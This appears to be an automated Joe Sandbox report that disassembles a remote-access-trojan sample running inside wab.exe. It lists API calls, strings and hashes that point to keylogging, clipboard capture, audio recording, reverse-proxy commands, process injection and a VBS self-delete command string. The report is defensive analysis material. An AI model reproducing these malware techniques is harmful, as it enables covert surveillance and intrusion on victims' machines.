                                            • Instruction ID: 673b37a441ff9bbb7eb6cd98574e5fa8379d72fae64c09c4febd1ea684bb8cd8
                                            • Opcode Fuzzy Hash: 9bfda5629608ba7fc19c0d50907ac959002cc076efa33527145bad7316b2b0bb
                                            • Instruction Fuzzy Hash: 0E319E315007009FFB20AA7AD845B5B73E8EF0131AF50851FEC68D7662DF78AD448B59
                                            Function 00419FB4 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 176sleeptimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __EH_prolog.LIBCMT ref: 00419FB9
                                            • GdiplusStartup.GDIPLUS(00474ACC,?,00000000), ref: 00419FEB
                                            • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 0041A077
                                            • Sleep.KERNEL32(000003E8), ref: 0041A0FD
                                            • GetLocalTime.KERNEL32(?), ref: 0041A105
                                            • Sleep.KERNEL32(00000000,00000018,00000000), ref: 0041A1F4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Sleep$CreateDirectoryGdiplusH_prologLocalStartupTime
                                            • String ID: time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i$PG$PG$PG
                                            • API String ID: 489098229-1431523004
                                            • Opcode ID: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                                            • Instruction ID: 65e100c03f0dda0ba9a952c873ad8774fe275ee1deca45487f64c7c8a8292b0e
                                            • Opcode Fuzzy Hash: c46b288c88e8fad2cac684537be2f5c8f54ab494b41e10cc9a988c1d5ba90d08
                                            • Instruction Fuzzy Hash: E7515D70A00215AACB14BBB5C8529ED7BA9AB44308F40403FF509AB1E2EF7C9D85C799
                                            Function 0040D7FF Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 148COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                              • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                                              • Part of subcall function 004136F8: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                                              • Part of subcall function 004136F8: RegQueryValueExA.KERNEL32 ref: 0041372D
                                              • Part of subcall function 004136F8: RegCloseKey.KERNEL32(00000000), ref: 00413738
                                            • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040D859
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D9B8
                                            • ExitProcess.KERNEL32 ref: 0040D9C4
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                            • String ID: """, 0$.vbs$8SG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                            • API String ID: 1913171305-3159800282
                                            • Opcode ID: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                                            • Instruction ID: 6fc8d312854778a25908ca85050b1cee1951ef16e4956e50e312a563d71e527c
                                            • Opcode Fuzzy Hash: 636c7451f86ad7dcbf51a7e77965c9df5bd33ebd3fbbde82d92fca028294b8c2
                                            • Instruction Fuzzy Hash: 0C413A719001195ACB15FA62DC56DEEB778AF50309F10007FB10AB61E2EF785E4ACA98
                                            Function 00450600 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID:
                                            • API String ID: 269201875-0
                                            • Opcode ID: f13b302446b66475bb18d5d42f55ab1b7190c32ccf1072046f607fb9a40aa2ef
                                            • Instruction ID: d910990a8472ee08c0279d8077499983e41ff25138a9859a729e4309013b5263
                                            • Opcode Fuzzy Hash: f13b302446b66475bb18d5d42f55ab1b7190c32ccf1072046f607fb9a40aa2ef
                                            • Instruction Fuzzy Hash: E2C17476D40204AFEB20DBA9CC83FDE77B8AB19705F14015AFE05EB283D6B49D458798
                                            Function 00455BDB Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 004558A9: CreateFileW.KERNEL32(00000000,00000000,?,00455C84,?,?,00000000), ref: 004558C6
                                            • GetLastError.KERNEL32 ref: 00455CEF
                                            • __dosmaperr.LIBCMT ref: 00455CF6
                                            • GetFileType.KERNEL32 ref: 00455D02
                                            • GetLastError.KERNEL32 ref: 00455D0C
                                            • __dosmaperr.LIBCMT ref: 00455D15
                                            • CloseHandle.KERNEL32(00000000), ref: 00455D35
                                            • CloseHandle.KERNEL32(?), ref: 00455E7F
                                            • GetLastError.KERNEL32 ref: 00455EB1
                                            • __dosmaperr.LIBCMT ref: 00455EB8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                            • String ID: H
                                            • API String ID: 4237864984-2852464175
                                            • Opcode ID: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                            • Instruction ID: f4290dc4267d91ba683862cdaabef3013db21248f4240db41616def06e578eae
                                            • Opcode Fuzzy Hash: ad10cc44415123364ccf3ab0f87a2b5b2deaae059395c87e8052164914e7d7f7
                                            • Instruction Fuzzy Hash: D5A155329106049FDF19AF68DC617BE3BA0EB06325F14415EEC11EB392CB398D5ACB59
                                            Function 00453D83 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 268COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453E2F
                                            • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EB2
                                            • __alloca_probe_16.LIBCMT ref: 00453EEA
                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,?,00000001,00000000,\@E,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F45
                                            • __alloca_probe_16.LIBCMT ref: 00453F94
                                            • MultiByteToWideChar.KERNEL32(00000001,00000009,00000001,00000000,00000000,00000000,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F5C
                                              • Part of subcall function 00446137: RtlAllocateHeap.NTDLL(00000000,0043529C,?,?,00438847,?,?,00000000,?,?,0040DE62,0043529C,?,?,?,?), ref: 00446169
                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,00000001,00000000,00000000,?,?,0045405C,00000000,00000000,?,00000001,?,?,?,?), ref: 00453FD8
                                            • __freea.LIBCMT ref: 00454003
                                            • __freea.LIBCMT ref: 0045400F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocateHeapInfo
                                            • String ID: \@E
                                            • API String ID: 201697637-1814623452
                                            • Opcode ID: 6b713b73fa418151b2ceeed66ebddf9bdcb7dc27971baa6073fd327f22c08990
                                            • Instruction ID: bd5a1837779a5f2dcb5c2ea5aeb828518df7829aba760434011a70bbc407b236
                                            • Opcode Fuzzy Hash: 6b713b73fa418151b2ceeed66ebddf9bdcb7dc27971baa6073fd327f22c08990
                                            • Instruction Fuzzy Hash: E391F472E002069ADB209E65CC42AEFBBF59F09756F14052BFC01E7282D739DD89C768
                                            Function 00450A25 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 204COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free
                                            • String ID: \&G$\&G$`&G
                                            • API String ID: 269201875-253610517
                                            • Opcode ID: 385e3eb32a840c7dc5f1be6bba42808b1b8798b7ea310d4b8652956360c688d1
                                            • Instruction ID: 0b3297c67b001fbc5a9f4fbe1fd197d652097ca420ae28a40b4f72db8b3ed5d1
                                            • Opcode Fuzzy Hash: 385e3eb32a840c7dc5f1be6bba42808b1b8798b7ea310d4b8652956360c688d1
                                            • Instruction Fuzzy Hash: 77610475900204AFDB20CFA9C882B9ABBF4EF05315F14416BED58EB342D774AD458B98
                                            Function 00414BB0 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 158COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: 65535$udp
                                            • API String ID: 0-1267037602
                                            • Opcode ID: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                            • Instruction ID: ff24d6befd6f0703c902a6165bd45161ed4db0fb5f75d2635e7e580b9b2721aa
                                            • Opcode Fuzzy Hash: c855b19cc43d9bec36cd86ac5f012ace8f0d54e169e32fa1a21da6d4488bf9b2
                                            • Instruction Fuzzy Hash: EF51E7756093019FDB209B58E9057BB37A4AFC4755F08082FF881973A1E76DCCC1865E
                                            Function 0040ACD6 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 156sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • __Init_thread_footer.LIBCMT ref: 0040AD38
                                            • Sleep.KERNEL32(000001F4), ref: 0040AD43
                                            • GetForegroundWindow.USER32 ref: 0040AD49
                                            • GetWindowTextLengthW.USER32 ref: 0040AD52
                                            • GetWindowTextW.USER32 ref: 0040AD86
                                            • Sleep.KERNEL32(000003E8), ref: 0040AE54
                                              • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Window$SleepText$EventForegroundInit_thread_footerLength
                                            • String ID: [${ User has been idle for $ minutes }$]
                                            • API String ID: 911427763-3954389425
                                            • Opcode ID: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                                            • Instruction ID: 3d5ee5432c15115af2c0f1375ae13a0ba8112eb59c463c5c733e63bb31497985
                                            • Opcode Fuzzy Hash: 1fd890e2d21f894b0b3b077f7e4e96656cdfff5721ec9a02ea1a5f8763c76f61
                                            • Instruction Fuzzy Hash: 6D51B1316043419BD314FB21D846AAE7796AB84308F50093FF586A22E2EF7C9D45C69F
                                            Function 0043A83A Relevance: 16.6, APIs: 11, Instructions: 116COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A892
                                            • GetLastError.KERNEL32(?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A89F
                                            • __dosmaperr.LIBCMT ref: 0043A8A6
                                            • MultiByteToWideChar.KERNEL32(?,00000000,00000050,000000FF,00000000,00000000,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8D2
                                            • GetLastError.KERNEL32(?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A8DC
                                            • __dosmaperr.LIBCMT ref: 0043A8E3
                                            • WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,?,00000000,00000000,?,?,?,?,?,?,00401D55,?), ref: 0043A926
                                            • GetLastError.KERNEL32(?,?,?,?,?,?,00401D55,?,00000050,%Y-%m-%d %H.%M,00000000), ref: 0043A930
                                            • __dosmaperr.LIBCMT ref: 0043A937
                                            • _free.LIBCMT ref: 0043A943
                                            • _free.LIBCMT ref: 0043A94A
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharErrorLastMultiWide__dosmaperr$_free
                                            • String ID:
                                            • API String ID: 2441525078-0
                                            • Opcode ID: 019acc7a2e3de953c23e11cafa5877634505dff612e887b7d59a77d89ef25481
                                            • Instruction ID: 785efe6d9c8e3fffb8b85045f967b8474775cb8629fdf0d32462ae01257f7f2e
                                            • Opcode Fuzzy Hash: 019acc7a2e3de953c23e11cafa5877634505dff612e887b7d59a77d89ef25481
                                            • Instruction Fuzzy Hash: FF31F57140420AFFDF01AFA5CC45DAF3B68EF09325F10021AF950662A1DB38CD21DB6A
                                            Function 004114F5 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 191COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Eventinet_ntoa
                                            • String ID: GetDirectListeningPort$StartForward$StartReverse$StopForward$StopReverse$XJ"$NG
                                            • API String ID: 3578746661-3255455552
                                            • Opcode ID: 05c42a8275862105916410cb05f28230ec4bbfa298c3e0115c38b27023db1ff4
                                            • Instruction ID: 71dfdc03858149a45142756d2b421c0b7bbb6d70992310a40494c7f1f0681c69
                                            • Opcode Fuzzy Hash: 05c42a8275862105916410cb05f28230ec4bbfa298c3e0115c38b27023db1ff4
                                            • Instruction Fuzzy Hash: 0051C131A042015BC614FB36C91AAAE37A5AB85344F40453FF906A76F1EF7C8985C7DE
                                            Function 004054A0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 155windowmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SetEvent.KERNEL32(?,?), ref: 004054BF
                                            • GetMessageA.USER32 ref: 0040556F
                                            • TranslateMessage.USER32(?), ref: 0040557E
                                            • DispatchMessageA.USER32 ref: 00405589
                                            • HeapCreate.KERNEL32(00000000,00000000,00000000,00000074,00474F78), ref: 00405641
                                            • HeapFree.KERNEL32(00000000,00000000,0000003B), ref: 00405679
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Message$Heap$CreateDispatchEventFreeTranslatesend
                                            • String ID: CloseChat$DisplayMessage$GetMessage
                                            • API String ID: 2956720200-749203953
                                            • Opcode ID: 1596478972ce96747ca32779f183717890ad831c566256f19ff3d4655c30f502
                                            • Instruction ID: c1940132788662b917c5ec79ff16bb55de46c7435784779dc5fc992d72e4b12f
                                            • Opcode Fuzzy Hash: 1596478972ce96747ca32779f183717890ad831c566256f19ff3d4655c30f502
                                            • Instruction Fuzzy Hash: CE41A171604701ABCB14FB75DC5A86F37A9AB85704F40093EF916A36E1EF3C8905CB9A
                                            Function 00417CDF Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 108filesynchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00417F2C: __EH_prolog.LIBCMT ref: 00417F31
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,00000070,004660A4), ref: 00417DDC
                                            • CloseHandle.KERNEL32(00000000), ref: 00417DE5
                                            • DeleteFileA.KERNEL32(00000000), ref: 00417DF4
                                            • ShellExecuteExA.SHELL32(0000003C,00000000,00000010,?,?,?), ref: 00417DA8
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseDeleteExecuteFileH_prologHandleObjectShellSingleWaitsend
                                            • String ID: 0VG$0VG$<$@$Temp
                                            • API String ID: 1704390241-2575729100
                                            • Opcode ID: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                                            • Instruction ID: cfce1e327495ca125f9f778a73892d1ad62a3a088d665d9de3c725e9e650d499
                                            • Opcode Fuzzy Hash: 80039bebc9300f329d7d4246b0ce8421c0d0be0a5475c1be6c4e1aa994d609e9
                                            • Instruction Fuzzy Hash: 0E415F319002099BCB14FB62DC56AEE7775AF40318F50417EF506764E1EF7C1A8ACB99
                                            Function 00416940 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 46clipboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenClipboard.USER32 ref: 00416941
                                            • EmptyClipboard.USER32 ref: 0041694F
                                            • CloseClipboard.USER32 ref: 00416955
                                            • OpenClipboard.USER32 ref: 0041695C
                                            • GetClipboardData.USER32 ref: 0041696C
                                            • GlobalLock.KERNEL32 ref: 00416975
                                            • GlobalUnlock.KERNEL32(00000000), ref: 0041697E
                                            • CloseClipboard.USER32 ref: 00416984
                                              • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Clipboard$CloseGlobalOpen$DataEmptyLockUnlocksend
                                            • String ID: !D@
                                            • API String ID: 2172192267-604454484
                                            • Opcode ID: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                                            • Instruction ID: 305b70c8a6b081cbeb1fc088e42579eafb4add048c4ccd3ac1cf7446a02d8759
                                            • Opcode Fuzzy Hash: 4530cadbb14fddee25ef175d735482f5b7b1ecf010632631c9690fb3e5ed724f
                                            • Instruction Fuzzy Hash: CC015E31214301DFC714BB72DC09AAE77A5AF88742F40047EF906821E2DF38CC44CA69
                                            Function 004132D2 Relevance: 15.2, APIs: 10, Instructions: 153fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileMappingW.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00413417
                                            • MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000000), ref: 00413425
                                            • GetFileSize.KERNEL32(?,00000000), ref: 00413432
                                            • UnmapViewOfFile.KERNEL32(00000000), ref: 00413452
                                            • CloseHandle.KERNEL32(00000000), ref: 0041345F
                                            • CloseHandle.KERNEL32(?), ref: 00413465
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseHandleView$CreateMappingSizeUnmap
                                            • String ID:
                                            • API String ID: 297527592-0
                                            • Opcode ID: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                                            • Instruction ID: 9e0538afe5582c7c3c7070a3da709670e2bb39b60280b40541f30be5467d1837
                                            • Opcode Fuzzy Hash: c8607eadb7f648cd119cf038169f51a0334e47929f95f9aa533bbd49f0d75183
                                            • Instruction Fuzzy Hash: ED41E631108305BBD7109F25DC4AF6B3BACEF89726F10092AFA14D51A2DF38DA40C66E
                                            Function 0041AB0D Relevance: 15.1, APIs: 10, Instructions: 66serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000011,00000000,00000001,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB1C
                                            • OpenServiceW.ADVAPI32(00000000,00000000,000F003F,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB33
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB40
                                            • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB4F
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB60
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A486,00000000), ref: 0041AB63
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ControlManager
                                            • String ID:
                                            • API String ID: 221034970-0
                                            • Opcode ID: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                                            • Instruction ID: 6fbe0b082825830d9e24babaefac53afed48758aa8e56b4d18e4903ff4329a9c
                                            • Opcode Fuzzy Hash: f803f1007c82734b6722f6408504697e53103f3d97c358fc3be63c7478a3d497
                                            • Instruction Fuzzy Hash: 41114C71901218AFD711AF64DCC4DFF3B7CDB42B62B000036FA05D2192DB289C46AAFA
                                            Function 00448121 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                            Download Yara Rule
                                            APIs
                                            • _free.LIBCMT ref: 00448135
                                              • Part of subcall function 00446782: HeapFree.KERNEL32(00000000,00000000), ref: 00446798
                                              • Part of subcall function 00446782: GetLastError.KERNEL32(?,?,00450C6F,?,00000000,?,00000000,?,00450F13,?,00000007,?,?,0045145E,?,?), ref: 004467AA
                                            • _free.LIBCMT ref: 00448141
                                            • _free.LIBCMT ref: 0044814C
                                            • _free.LIBCMT ref: 00448157
                                            • _free.LIBCMT ref: 00448162
                                            • _free.LIBCMT ref: 0044816D
                                            • _free.LIBCMT ref: 00448178
                                            • _free.LIBCMT ref: 00448183
                                            • _free.LIBCMT ref: 0044818E
                                            • _free.LIBCMT ref: 0044819C
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorFreeHeapLast
                                            • String ID:
                                            • API String ID: 776569668-0
                                            • Opcode ID: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                            • Instruction ID: 63500befab30bf138fa449b3e81d3956d19e40097f86fc95f12732a98ce5ff4f
                                            • Opcode Fuzzy Hash: 27d76b13a5ecae076ca6598a5b1433465caaf67949f0bdc0fbde8a5d49186781
                                            • Instruction Fuzzy Hash: C211B67A500508BFEB01EF96C842CDD3BA5FF05359B0240AAFA588F222DA35DF509BC5
                                            Function 00455F04 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,00456FFF), ref: 00455F27
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DecodePointer
                                            • String ID: acos$asin$exp$log$log10$pow$sqrt
                                            • API String ID: 3527080286-3064271455
                                            • Opcode ID: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                            • Instruction ID: ff4fc8d1aadbe784407353d8516796ad37925c88dabf63da6293f70e8270e0de
                                            • Opcode Fuzzy Hash: 629998c7ca290600fade91f32205cb7004f8bc569fe6c3e827db03ba52e3cc78
                                            • Instruction Fuzzy Hash: 16519F71900909CBCF10CF58E9485BEBBB0FF49306FA14197D841A73A6DB399D298B1E
                                            Function 00417495 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 104sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,dxdiag,00000000,00000000,00000000), ref: 004174F5
                                              • Part of subcall function 0041C485: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                                            • Sleep.KERNEL32(00000064), ref: 00417521
                                            • DeleteFileW.KERNEL32(00000000), ref: 00417555
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CreateDeleteExecuteShellSleep
                                            • String ID: /t $\sysinfo.txt$dxdiag$open$temp
                                            • API String ID: 1462127192-2001430897
                                            • Opcode ID: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                                            • Instruction ID: 51d64fe7c8a5c54eac4555a52c350958ac4104e8f54c8767ba2a87230734c78e
                                            • Opcode Fuzzy Hash: 80bc1f01d41e6bb49ab2ea0752573067485f1394140a330d823018e0c212e60a
                                            • Instruction Fuzzy Hash: 1431307194011A9ADB04FB62DC96DED7779AF50309F40017EF606730E2EF785A8ACA9C
                                            Function 004073AC Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 99COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentProcess.KERNEL32(00472B14,00000000,004752D8,00003000,00000004,00000000,00000001), ref: 004073DD
                                            • GetCurrentProcess.KERNEL32(00472B14,00000000,00008000,?,00000000,00000001,00000000,00407656,C:\Program Files (x86)\Windows Mail\wab.exe), ref: 0040749E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CurrentProcess
                                            • String ID: PEB: %x$[+] NtAllocateVirtualMemory Success$[-] NtAllocateVirtualMemory Error$\explorer.exe$explorer.exe$windir
                                            • API String ID: 2050909247-4242073005
                                            • Opcode ID: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                                            • Instruction ID: f630994b7aed3d2c1b9b8fa2b3e4f68b22e8b08ead4833dea6669ff7d567ef23
                                            • Opcode Fuzzy Hash: 1dcac826a5e52bf6061f4ebfcee704f683c74aacb316ad2bc9bf89965cfe4023
                                            • Instruction Fuzzy Hash: 7031A471A04700ABD321FF65ED46F167BB8AB44305F10087EF515A6292E7B8B8448B6F
                                            Function 00401D0B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 89COMMON
                                            Download Yara Rule
                                            APIs
                                            • _strftime.LIBCMT ref: 00401D50
                                              • Part of subcall function 00401A6D: CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                            • waveInUnprepareHeader.WINMM(00472A88,00000020,00000000), ref: 00401E02
                                            • waveInPrepareHeader.WINMM(00472A88,00000020), ref: 00401E40
                                            • waveInAddBuffer.WINMM(00472A88,00000020), ref: 00401E4F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
